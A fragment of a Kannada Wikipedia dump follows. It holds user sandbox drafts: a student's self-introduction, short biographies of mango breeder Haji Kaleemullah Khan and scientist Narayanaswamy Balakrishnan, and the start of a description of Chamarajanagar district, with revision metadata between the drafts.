ಎಂಜಿನಿಯರಿಂಗ್'''] ವಿದ್ಯಾಭ್ಯಾಸ ಮಾಡುತ್ತಿದ್ದೇನೆ. ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಮಾವಿನ ಮನುಷ್ಯ ಎಂದು ಜನಪ್ರಿಯವಾಗಿ ಕರೆಯಲ್ಪಡುವ ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಒಬ್ಬ ಭಾರತೀಯ ತೋಟಗಾರಿಕಾ ಮತ್ತು ಹಣ್ಣು ತಳಿಗಾರ, ಮಾವು ಮತ್ತು ಇತರ ಹಣ್ಣುಗಳನ್ನು ಸಂತಾನೋತ್ಪತ್ತಿ ಮಾಡುನಲ್ಲಿ ಅವರ ಸಾಧನೆಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದ್ದಾರೆ. ಇವರು ಕಸಿ ಮಾಡುವ ತಂತ್ರಗಳನ್ನು (grafting techniques) ಬಳಸಿಕೊಂಡು ಒಂದೇ ಮರದಲ್ಲಿ 300 ಕ್ಕೂ ಹೆಚ್ಚು ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಬೆಳೆದಿದ್ದಾರೆ ಎಂದು ತಿಳಿದುಬಂದಿದೆ. ಉತ್ತರ ಪ್ರದೇಶ ಭಾರತದ ರಾಜ್ಯವಾರ ಲಕ್ನೋ ಬಳಿಯ ಮಲಿಹಾಬಾದ್ ನಲ್ಲಿ ಜನಿಸಿದ ಖಾನ್, ೭ ನೇ ತರಗತಿಯಲ್ಲಿ ಶಾಲೆಯನ್ನು ತೊರೆದರು ಮತ್ತು ಕೃಷಿಯ ಕುಟುಂಬ ವ್ಯವಹಾರವನ್ನು ತೆಗೆದುಕೊಂಡು. ! ಅಲೈಂಗಿಕ ಪ್ರಸರಣ ತಂತ್ರವನ್ನು ( Asexual propagation technique of grafting) ಬಳಸಿಕೊಂಡು, ಅವರು ಹಲವಾರು ಹೊಸ ವಿಧದ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ್ದಾರೆ. ಅವುಗಳಲ್ಲಿ ಕೆಲವು ಪ್ರಸಿದ್ಧ ವ್ಯಕ್ತಿಗಳು ಮತ್ತು ರಾಜಕೀಯ ನಾಯಕರಾದ ಸಚಿನ್ ತೆಂಡೂಲ್ಕರ್, ಐಶ್ವರ್ಯ ರೈ ಅಖಿಲೇಶ್ ಯಾದವ್, ಸೋನಿಯಾ ಗಾಂಧಿ, ನರೇಂದ್ರ ಮೋದಿ, ಅಮಿತ್ ಶಾ ಮುಂತಾದವರ ಹೆಸರನ್ನು ಇಡಲಾಗಿದೆ. ಅನಾರ್ಕಲ್ಲಿ, ಇವರು ಅಭಿವೃದ್ಧಿ ಪಡಿಸಿದ ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳು ಎರಡು ವಿಭಿನ್ನ ಚರ್ಮಗಳು ಮತ್ತು ತಿರುಳಿನ ಎರಡು ವಿಭಿನ್ನ ಪದರಗಳನ್ನು ಹೊಂದಿವೆ ಎಂದು ವರದಿಯಾಗಿದೆ, ಪ್ರತಿಯೊಂದು ವಿಭಿನ್ನ ರುಚಿಯನ್ನು ಹೊಂದಿರುತ್ತದೆ. ತೋಟಗಾರಿಕೆಗೆ ಇವರ ಕೊಡುಗೆ ಅಪಾರವಾದದ್ದು, ಭಾರತ ಸರ್ಕಾರವು ೨೦೦೮ ರಲ್ಲಿ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವನ್ನು ನೀಡಿತು. ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ಅವರು ಭಾರತೀಯ ಏರೋಸ್ಪೇಸ್ ಮತ್ತು ಕಂಪ್ಯೂಟರ್ ವಿಜ್ಞಾನಿ. ಅವರು ಇಂಡಿಯನ್ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್ (Indian Institute of science) ನ ಏರೋಸ್ಪೇಸ್ ಎಂಜಿನಿಯರಿಂಗ್ (Aerospace engineering) ಮತ್ತು ಸೂಪರ್ ಕಂಪ್ಯೂಟರ್ ಶಿಕ್ಷಣ ಸಂಶೋಧನಾ ಕೇಂದ್ರದ ( super computer Education Research Cente) ಪ್ರಾಧ್ಯಾಪಕರಾಗಿದ್ದಾರೆ. ಮತ್ತು ಜವಾಹರಲಾಲ್ ನೆಹರು ಸೆಂಟರ್ ಫಾರ್ ಅಡ್ವಾನ್ಸ್ಡ್ ಸೈಂಟಿಫಿಕ್ ರಿಸರ್ಚ್ (Jawahalal Nehru Centre for advanced scientific Research)ನ ಸಂದರ್ಶಕ ಪ್ರೊಫಸರ್ ಆಗಿದ್ದಾರೆ. ಬಾಲಕೃಷ್ಣನ್ ಅವರಿಗೆ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ಭಾರತೀಯ ನಾಗರಿಕ ಪ್ರಶಸ್ತಿ ನೀಡಿ ಗೌರವಿಸಲಾಯಿತು. ಜೀವನ ಚರಿತ್ರೆ ನಾರಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ ದಕ್ಷಿಣ ಭಾರತದ ಮೂಲತ ತಮಿಳುನಾಡಿನವರು. ಇವರು ಜುಲೈ ೧ ೧೯೫೦ ರಂದು ಜನಿಸಿದರು. ಇವರು 1972ರಲ್ಲಿ ಕೊಯಂಬತ್ತೂರು ಇನ್ ಸೈಟ್ಯೂಟ್ ಆಫ್ ಟೆಕ್ನಾಲಜಿ (coimbatore Institute of Technology), ಮದ್ರಾಸ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಿಂದ (University of Madras) ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಸಂವಹನದಲ್ಲಿ (Electonics and communication)(ಬಿಇ ಹೋಮ್ಸ್) ಪದವಿ ಪಡೆದರು ಮತ್ತು 1979 ರಲ್ಲಿ ಬೆಂಗಳೂರಿನ ಇಂಡಿಯಾನ್ ಇನ್ ಸ್ವಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್(IISc) ಯಿಂದ ಡಾಕ್ಟರೇಟ್ ಪದವಿ (PhD) ಪಡೆದರು. ಇವರು IISc ಯ ಏರೋಸ್ಟೇಸ್ ಎಂಜಿನಿಯರಿಂಗ್ ವಿಭಾಗದಲ್ಲಿ ಸಹಾಯಕ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿ ತಮ್ಮ ವೃತ್ತಿ ಜೀವನವನ್ನು ಪ್ರಾರಂಭಿಸಿದರು. ಮತ್ತು ಅಲ್ಲಿಯೇ ಸಹಾಯಕ ನಿರ್ದೇಶಕ ಮತ್ತು ಪ್ರಾಧ್ಯಾಪಕರಾಗಿ ತಮ್ಮ ಸೇವೆಯನ್ನು ಮುಂದುವರೆಸಿದ್ದಾರೆ. ಅವರು ಜವಾಹರಲಾಲ್ ನೆಹರು ಸೆಂಟರ್ ಫಾರ್ ಆಡ್ವಾನ್ಸ್ಡ್ ಸೈಂಟಿಫಿಕ್ ರಿಸರ್ಚ್ (Jawaharlal Nehru Cente por Advanced scientific Research) ಮತ್ತು ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಫಾರ್ ಸಾಫ್ಟ್ ವೇರ್ ರಿಸರ್ಚ್ ಇಂಟರ್ನ್ಯಾಟಿನಲ್, ಕಾರ್ನೆಗೀ ಮಿಲನ್ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಸಂದರ್ಶಕ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿಯೂ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದಾರೆ. ಮತ್ತು ಭಾರತೀಯ ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಮತ್ತು ನಿರ್ವಹಣೆಯ ಭಾರತೀಯ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್, ಭಾರತ್ ಸಂಚಾಲ್ ನಿಗಮ್ ಮತ್ತು ಕೈಗಾರಿಕಾ ಹಣಕಾಸು ನಿಗಮ ಮತ್ತು ಭಾರತದ ಡೇಟಾ ಭದ್ರತಾ ಮಂಡಳಿಯಲ್ಲೂ ಕೂಡ ನಿರ್ದೇಶಕರಾಗಿದ್ದಾರೆ. ಪ್ರಸ್ತುತ ಇವರು 4500 ಕೋಟಿ ಬಜೆಟ್ ನೊಂದಿಗೆ 7 ವರ್ಷಗಳ ಯೋಜನೆಯಾಗಿ ಭಾರತ ಸರ್ಕಾರದಿಂದ ಅನುಮೋದಿಸಲಾದ ನ್ಯಾಷನಲ್ ಸೂಪರ್ ಕಮ್ಯೂಟಿಂಗ್ ಮಿಷನ್ ಆಫ್ ಇಂಡಿಯಾದ ಮುಖ್ಯಸ್ಥಲಾಗಿದ್ದಾರೆ. ಇವರು 2003 ರಿಂದ 2006 ರವರೆಗೆ IISc ಯ ಮಾಹಿತಿ ವಿಜ್ಞಾನ ವಿಭಾಗದ ಸತೀಶ್ ಧಾವ್ ಅಧ್ಯಕ್ಷತೆಯ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿದ್ದರು ಮತ್ತು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಲಹಾ ಮಂಡಳಿ ಮತ್ತು ಭಾರತದ ಟೆಲಿಕಾಂ ನಿಯಂತ್ರಣ ಪ್ರಾಧಿಕಾರದ ಮಾಜಿ ಸದಸ್ಯರಾಗಿದ್ದಾರೆ. ಇವರು EI forge Ltd ನ ಮಾಜಿ ಉಪ ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾಗಿದ್ದಾರೆ ಮತ್ತು C-DOT ಅಲ್ಕಾಟೆಲ್ ಲ್ಯೂಸೆಂಟ್ ರಿಸರ್ಚ್ ಸೆಂಟರ್ ಮತ್ತು ಭಾರತ್ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ನಲ್ಲಿ ನಿರ್ದೇಶಕರ ಹುದ್ದೆಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ. ಅವರು ಸೆಂಟ್ರಲ್ ಬ್ಯಾಂಕ್ ಆಫ್ ಇಂಡಿಯಾದ ನಿರ್ದೇಶಕರಾಗಿಯೂ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ, ಅಲ್ಲಿಂದ ಅವರು ಜನವರಿ 2015ರಲ್ಲಿ ನಿವೃತ್ತರಾದರು. ಅವರು 2016 ರಿಂದ 2018 ವರೆಗೆ ಇನ್ಫೋಸಿಸ್ ಪ್ರಶಸ್ತಿಗಾಗಿ ಎಂಜಿನಿಯರಿಂಗ್ ಮತ್ತು ಕಂಪ್ಯೂಟರ್ ಸೈನ್ಸ್ ತೀರ್ಪುಗಾರರಾಗಿದ್ದರು. ಪ್ರಶಸ್ತಿಗಳು ಮತ್ತು ಮನ್ನಣೆಗಳು ಬಾಲಕೃಷ್ಣನ್ ಅವರು 1985ರಲ್ಲಿ UNESCO/ROSTSCA ಯುವ ವಿಜ್ಞಾನಿ ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದರು ಮತ್ತು ನಂತರ 1987ರಲ್ಲಿ ಎಲೆಕ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಟೆಲಿಕಮ್ಯುನಿಕೇಶನ್ ಇಂಜಿನಿಯರ್ಸ್ (IETE) ಸಂಸ್ಥೆಯ J. C. ಬೋಸ್ ಸ್ಮಾರಕ ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದರು. ಶ್ರೀ ಹರಿ ಓಂ ಪ್ರೇರಿತ್ ಡಾ. ವಿಕ್ರಮ್ ಸಾರಾಭಾಯ್ ಸಂಶೋಧನಾ ಪ್ರಶಸ್ತಿಯು 1995ರಲ್ಲಿ ಇವರಿಗೆ ತಲುಪಿತು ಮತ್ತು ಎರಡು ವರ್ಷಗಳ ನಂತರ ಇವರು ಭಾರತೀಯ ವಿಜ್ಞಾನ ಕಾಂಗ್ರೆಸ್ ನಿಂದ ಪ್ಲಾಟಿನಂ ಜುಬಿಲಿ ಉಪನ್ಯಾಸ ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದರು. q0orh37uiu71rak710t235ueavl2cgy 1116551 1116550 2022-08-24T02:11:16Z Nisargashetty.T.N. 77736 wikitext text/x-wiki '''ನಿಸರ್ಗಶೆಟ್ಟಿ.ಟಿ.ಎನ್.''' ಎಂಬ ನಾನು ''೨೮/೦೪/೨೦೦೩''ರಲ್ಲಿ ಜನಿಸಿದ್ದೆನೆ.ನನ್ನ [[ಪ್ರಾಥಮಿಕ ಶಿಕ್ಷಣ]]ವನ್ನು [http://www.onefivenine.com/india/villages/Mandya/Malvalli/Talagavadi ತಳಗವಾದಿ] ಸರ್ಕಾರಿ ಶಾಲೆಯಲ್ಲಿ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಮಾಡಿದ್ದೇನೆ. ಮುಂದಿನ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಕೆ.ಎಂ.ದೊಡ್ಡಿಯ '''ಭಾರತೀ ಪಿ ಯು''' '''ಕಾಲೇಜಿನಲ್ಲಿ''' ಶಿಕ್ಷಣ ಮುಗಿಸಿ.ನಂತರ [[ಮಂಡ್ಯ]] ಜಿಲ್ಲೆಯ ಮದ್ದೂರು ತಾಲ್ಲೂಕಿನ [https://gmitmandya.in/ '''ಜಿ.ಎಂ.ಐ.ಟಿ'''] ಕಾಲೇಜಿನಲ್ಲಿ [https://en.wikipedia.org/wiki/Mechanical_engineering '''ಮೆಕಾಲಿಕಲ್ ಎಂಜಿನಿಯರಿಂಗ್'''] ವಿದ್ಯಾಭ್ಯಾಸ ಮಾಡುತ್ತಿದ್ದೇನೆ. ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಮಾವಿನ ಮನುಷ್ಯ ಎಂದು ಜನಪ್ರಿಯವಾಗಿ ಕರೆಯಲ್ಪಡುವ ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಒಬ್ಬ ಭಾರತೀಯ ತೋಟಗಾರಿಕಾ ಮತ್ತು ಹಣ್ಣು ತಳಿಗಾರ, ಮಾವು ಮತ್ತು ಇತರ ಹಣ್ಣುಗಳನ್ನು ಸಂತಾನೋತ್ಪತ್ತಿ ಮಾಡುನಲ್ಲಿ ಅವರ ಸಾಧನೆಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದ್ದಾರೆ. ಇವರು ಕಸಿ ಮಾಡುವ ತಂತ್ರಗಳನ್ನು (grafting techniques) ಬಳಸಿಕೊಂಡು ಒಂದೇ ಮರದಲ್ಲಿ 300 ಕ್ಕೂ ಹೆಚ್ಚು ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಬೆಳೆದಿದ್ದಾರೆ ಎಂದು ತಿಳಿದುಬಂದಿದೆ. ಉತ್ತರ ಪ್ರದೇಶ ಭಾರತದ ರಾಜ್ಯವಾರ ಲಕ್ನೋ ಬಳಿಯ ಮಲಿಹಾಬಾದ್ ನಲ್ಲಿ ಜನಿಸಿದ ಖಾನ್, ೭ ನೇ ತರಗತಿಯಲ್ಲಿ ಶಾಲೆಯನ್ನು ತೊರೆದರು ಮತ್ತು ಕೃಷಿಯ ಕುಟುಂಬ ವ್ಯವಹಾರವನ್ನು ತೆಗೆದುಕೊಂಡು. ! ಅಲೈಂಗಿಕ ಪ್ರಸರಣ ತಂತ್ರವನ್ನು ( Asexual propagation technique of grafting) ಬಳಸಿಕೊಂಡು, ಅವರು ಹಲವಾರು ಹೊಸ ವಿಧದ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ್ದಾರೆ. ಅವುಗಳಲ್ಲಿ ಕೆಲವು ಪ್ರಸಿದ್ಧ ವ್ಯಕ್ತಿಗಳು ಮತ್ತು ರಾಜಕೀಯ ನಾಯಕರಾದ ಸಚಿನ್ ತೆಂಡೂಲ್ಕರ್, ಐಶ್ವರ್ಯ ರೈ ಅಖಿಲೇಶ್ ಯಾದವ್, ಸೋನಿಯಾ ಗಾಂಧಿ, ನರೇಂದ್ರ ಮೋದಿ, ಅಮಿತ್ ಶಾ ಮುಂತಾದವರ ಹೆಸರನ್ನು ಇಡಲಾಗಿದೆ. ಅನಾರ್ಕಲ್ಲಿ, ಇವರು ಅಭಿವೃದ್ಧಿ ಪಡಿಸಿದ ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳು ಎರಡು ವಿಭಿನ್ನ ಚರ್ಮಗಳು ಮತ್ತು ತಿರುಳಿನ ಎರಡು ವಿಭಿನ್ನ ಪದರಗಳನ್ನು ಹೊಂದಿವೆ ಎಂದು ವರದಿಯಾಗಿದೆ, ಪ್ರತಿಯೊಂದು ವಿಭಿನ್ನ ರುಚಿಯನ್ನು ಹೊಂದಿರುತ್ತದೆ. ತೋಟಗಾರಿಕೆಗೆ ಇವರ ಕೊಡುಗೆ ಅಪಾರವಾದದ್ದು, ಭಾರತ ಸರ್ಕಾರವು ೨೦೦೮ ರಲ್ಲಿ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವನ್ನು ನೀಡಿತು. ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ಅವರು ಭಾರತೀಯ ಏರೋಸ್ಪೇಸ್ ಮತ್ತು ಕಂಪ್ಯೂಟರ್ ವಿಜ್ಞಾನಿ. ಅವರು ಇಂಡಿಯನ್ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್ (Indian Institute of science) ನ ಏರೋಸ್ಪೇಸ್ ಎಂಜಿನಿಯರಿಂಗ್ (Aerospace engineering) ಮತ್ತು ಸೂಪರ್ ಕಂಪ್ಯೂಟರ್ ಶಿಕ್ಷಣ ಸಂಶೋಧನಾ ಕೇಂದ್ರದ ( super computer Education Research Cente) ಪ್ರಾಧ್ಯಾಪಕರಾಗಿದ್ದಾರೆ. ಮತ್ತು ಜವಾಹರಲಾಲ್ ನೆಹರು ಸೆಂಟರ್ ಫಾರ್ ಅಡ್ವಾನ್ಸ್ಡ್ ಸೈಂಟಿಫಿಕ್ ರಿಸರ್ಚ್ (Jawahalal Nehru Centre for advanced scientific Research)ನ ಸಂದರ್ಶಕ ಪ್ರೊಫಸರ್ ಆಗಿದ್ದಾರೆ. ಬಾಲಕೃಷ್ಣನ್ ಅವರಿಗೆ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ಭಾರತೀಯ ನಾಗರಿಕ ಪ್ರಶಸ್ತಿ ನೀಡಿ ಗೌರವಿಸಲಾಯಿತು. ಜೀವನ ಚರಿತ್ರೆ ನಾರಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ ದಕ್ಷಿಣ ಭಾರತದ ಮೂಲತ ತಮಿಳುನಾಡಿನವರು. ಇವರು ಜುಲೈ ೧ ೧೯೫೦ ರಂದು ಜನಿಸಿದರು. ಇವರು 1972ರಲ್ಲಿ ಕೊಯಂಬತ್ತೂರು ಇನ್ ಸೈಟ್ಯೂಟ್ ಆಫ್ ಟೆಕ್ನಾಲಜಿ (coimbatore Institute of Technology), ಮದ್ರಾಸ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಿಂದ (University of Madras) ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಸಂವಹನದಲ್ಲಿ (Electonics and communication)(ಬಿಇ ಹೋಮ್ಸ್) ಪದವಿ ಪಡೆದರು ಮತ್ತು 1979 ರಲ್ಲಿ ಬೆಂಗಳೂರಿನ ಇಂಡಿಯಾನ್ ಇನ್ ಸ್ವಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್(IISc) ಯಿಂದ ಡಾಕ್ಟರೇಟ್ ಪದವಿ (PhD) ಪಡೆದರು. ಇವರು IISc ಯ ಏರೋಸ್ಟೇಸ್ ಎಂಜಿನಿಯರಿಂಗ್ ವಿಭಾಗದಲ್ಲಿ ಸಹಾಯಕ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿ ತಮ್ಮ ವೃತ್ತಿ ಜೀವನವನ್ನು ಪ್ರಾರಂಭಿಸಿದರು. ಮತ್ತು ಅಲ್ಲಿಯೇ ಸಹಾಯಕ ನಿರ್ದೇಶಕ ಮತ್ತು ಪ್ರಾಧ್ಯಾಪಕರಾಗಿ ತಮ್ಮ ಸೇವೆಯನ್ನು ಮುಂದುವರೆಸಿದ್ದಾರೆ. ಅವರು ಜವಾಹರಲಾಲ್ ನೆಹರು ಸೆಂಟರ್ ಫಾರ್ ಆಡ್ವಾನ್ಸ್ಡ್ ಸೈಂಟಿಫಿಕ್ ರಿಸರ್ಚ್ (Jawaharlal Nehru Cente por Advanced scientific Research) ಮತ್ತು ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಫಾರ್ ಸಾಫ್ಟ್ ವೇರ್ ರಿಸರ್ಚ್ ಇಂಟರ್ನ್ಯಾಟಿನಲ್, ಕಾರ್ನೆಗೀ ಮಿಲನ್ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಸಂದರ್ಶಕ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿಯೂ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದಾರೆ. ಮತ್ತು ಭಾರತೀಯ ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಮತ್ತು ನಿರ್ವಹಣೆಯ ಭಾರತೀಯ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್, ಭಾರತ್ ಸಂಚಾಲ್ ನಿಗಮ್ ಮತ್ತು ಕೈಗಾರಿಕಾ ಹಣಕಾಸು ನಿಗಮ ಮತ್ತು ಭಾರತದ ಡೇಟಾ ಭದ್ರತಾ ಮಂಡಳಿಯಲ್ಲೂ ಕೂಡ ನಿರ್ದೇಶಕರಾಗಿದ್ದಾರೆ. ಪ್ರಸ್ತುತ ಇವರು 4500 ಕೋಟಿ ಬಜೆಟ್ ನೊಂದಿಗೆ 7 ವರ್ಷಗಳ ಯೋಜನೆಯಾಗಿ ಭಾರತ ಸರ್ಕಾರದಿಂದ ಅನುಮೋದಿಸಲಾದ ನ್ಯಾಷನಲ್ ಸೂಪರ್ ಕಮ್ಯೂಟಿಂಗ್ ಮಿಷನ್ ಆಫ್ ಇಂಡಿಯಾದ ಮುಖ್ಯಸ್ಥಲಾಗಿದ್ದಾರೆ. ಇವರು 2003 ರಿಂದ 2006 ರವರೆಗೆ IISc ಯ ಮಾಹಿತಿ ವಿಜ್ಞಾನ ವಿಭಾಗದ ಸತೀಶ್ ಧಾವ್ ಅಧ್ಯಕ್ಷತೆಯ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿದ್ದರು ಮತ್ತು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಲಹಾ ಮಂಡಳಿ ಮತ್ತು ಭಾರತದ ಟೆಲಿಕಾಂ ನಿಯಂತ್ರಣ ಪ್ರಾಧಿಕಾರದ ಮಾಜಿ ಸದಸ್ಯರಾಗಿದ್ದಾರೆ. ಇವರು EI forge Ltd ನ ಮಾಜಿ ಉಪ ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾಗಿದ್ದಾರೆ ಮತ್ತು C-DOT ಅಲ್ಕಾಟೆಲ್ ಲ್ಯೂಸೆಂಟ್ ರಿಸರ್ಚ್ ಸೆಂಟರ್ ಮತ್ತು ಭಾರತ್ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ನಲ್ಲಿ ನಿರ್ದೇಶಕರ ಹುದ್ದೆಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ. ಅವರು ಸೆಂಟ್ರಲ್ ಬ್ಯಾಂಕ್ ಆಫ್ ಇಂಡಿಯಾದ ನಿರ್ದೇಶಕರಾಗಿಯೂ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ, ಅಲ್ಲಿಂದ ಅವರು ಜನವರಿ 2015ರಲ್ಲಿ ನಿವೃತ್ತರಾದರು. ಅವರು 2016 ರಿಂದ 2018 ವರೆಗೆ ಇನ್ಫೋಸಿಸ್ ಪ್ರಶಸ್ತಿಗಾಗಿ ಎಂಜಿನಿಯರಿಂಗ್ ಮತ್ತು ಕಂಪ್ಯೂಟರ್ ಸೈನ್ಸ್ ತೀರ್ಪುಗಾರರಾಗಿದ್ದರು. ಪ್ರಶಸ್ತಿಗಳು ಮತ್ತು ಮನ್ನಣೆಗಳು ಬಾಲಕೃಷ್ಣನ್ ಅವರು 1985ರಲ್ಲಿ UNESCO/ROSTSCA ಯುವ ವಿಜ್ಞಾನಿ ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದರು ಮತ್ತು ನಂತರ 1987ರಲ್ಲಿ ಎಲೆಕ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಟೆಲಿಕಮ್ಯುನಿಕೇಶನ್ ಇಂಜಿನಿಯರ್ಸ್ (IETE) ಸಂಸ್ಥೆಯ J. C. ಬೋಸ್ ಸ್ಮಾರಕ ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದರು. ಶ್ರೀ ಹರಿ ಓಂ ಪ್ರೇರಿತ್ ಡಾ. ವಿಕ್ರಮ್ ಸಾರಾಭಾಯ್ ಸಂಶೋಧನಾ ಪ್ರಶಸ್ತಿಯು 1995ರಲ್ಲಿ ಇವರಿಗೆ ತಲುಪಿತು ಮತ್ತು ಎರಡು ವರ್ಷಗಳ ನಂತರ ಇವರು ಭಾರತೀಯ ವಿಜ್ಞಾನ ಕಾಂಗ್ರೆಸ್ ನಿಂದ ಪ್ಲಾಟಿನಂ ಜುಬಿಲಿ ಉಪನ್ಯಾಸ ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದರು. ಇವರು 1998ರಲ್ಲಿ ಎರಡು ಪ್ರಶಸ್ತಿಗಳನ್ನು ಪಡೆದರು, ಇನ್ಸ್ಟಿಟ್ಯೂಟ್ ಫಾರ್ ದಿ ಫ್ಯೂಚರ್ ಪ್ರಶಸ್ತಿ ಮತ್ತು ಏರೋನಾಟಿಕಲ್ ಸೊಸೈಟಿ ಆಫ್ ಇಂಡಿಯಾ ಏರೋಸ್ಪೇಸ್ ಶಿಕ್ಷಣ ಎಟ್ಸ್ ಲೆನ್ಸ್ ಪ್ರಶಸ್ತಿ. ಭಾರತೀಯ ರಾಷ್ಟ್ರೀಯ ವಿಜ್ಞಾನ ಕಾಂಗ್ರೆಸ್ ಅವರಿಗೆ 2000ರಲ್ಲಿ ಮಿಲೇನಿಯಮ್ ಪದಕವನ್ನು ನೀಡಿತು ಮತ್ತು ಅವರು 2001ರಲ್ಲಿ ಎರಡನೇ ಬಾರಿಗೆ J.C. ಬೋಸ್ ಸ್ಮಾರಕ ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದರು ಮತ್ತು ನಂತರ ಇಂಡಿಯನ್ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್ ನಿಂದ ಟಿ ಎಕ್ಸ್ ಲೆನ್ಸ್ ಗಾಗಿ ಅಲಮ್ನಿ ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದರು. kucdda3ap0rw0tlfj8pppcjluelsnbr ಸದಸ್ಯ:Vinod kalki/ನನ್ನ ಪ್ರಯೋಗಪುಟ 2 144818 1116503 1116340 2022-08-23T15:27:41Z Vinod kalki 77720 wikitext text/x-wiki '''ಚಾಮರಾಜನಗರ''' ಜಿಲ್ಲೆಯು ತಮಿಳುನಾಡು ಮತು ಕೆರಳ ''ರಾಜ್ಯದ'' ಗಡಿಯನ್ನು ಹಂಚಿಹಕೂಂಡೀದೆ. ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆಯು ಕರ್ನಾಟಕ ರಾಜ್ಯದ ಗಡಿ ಜಿಲ್ಲೆಯಾಗಿದೆ. ಜಿಲ್ಲೆಯು ೫ ತಾಲೂಕುಗಳನ್ನು ಹೊಂದಿದೆ,ಜಿಲ್ಲೆಯು ಮೊದಲು ೪ ತಲೂಕು ಗಳನ್ನು ಹೂಂದಿತು ಇಗ ಹನುರು ಅನ್ನು ತಾಲೊಕ್ ಹಾಗಿ ಸೆರಿಸಲಗಿದೆ . ಚಾಮರಾಜನಗರ ದಕ್ಷಿಣ ಕರ್ನಾಟಕದಲ್ಲಿರುವ ಒಂದು ಜಿಲ್ಲೆ. ಮೊದಲಿಗೆ ಮೈಸೂರು ಜಿಲ್ಲೆಯ ಭಾಗವಾಗಿದ್ದ ಚಾಮರಾಜನಗರ ಈಗ ಒಂದು ಸ್ವತಂತ್ರ ಜಿಲ್ಲೆಯಾಗಿದೆ. ಈ ಜಿಲ್ಲೆಯ ಕೇಂದ್ರ ಅದೇ ಹೆಸರಿನ ಪಟ್ಟಣ. ಚಾಮರಾಜನಗರ ಜಿಲ್ಲೆಯ ಪ್ರಮುಖ ತಾಲೂಕುಗಳು *ಚಾಮರಾಜನಗರ, *ಯಳಂದೂರು, *ಗುಂಡ್ಲುಪೇಟೆ ಮತ್ತು 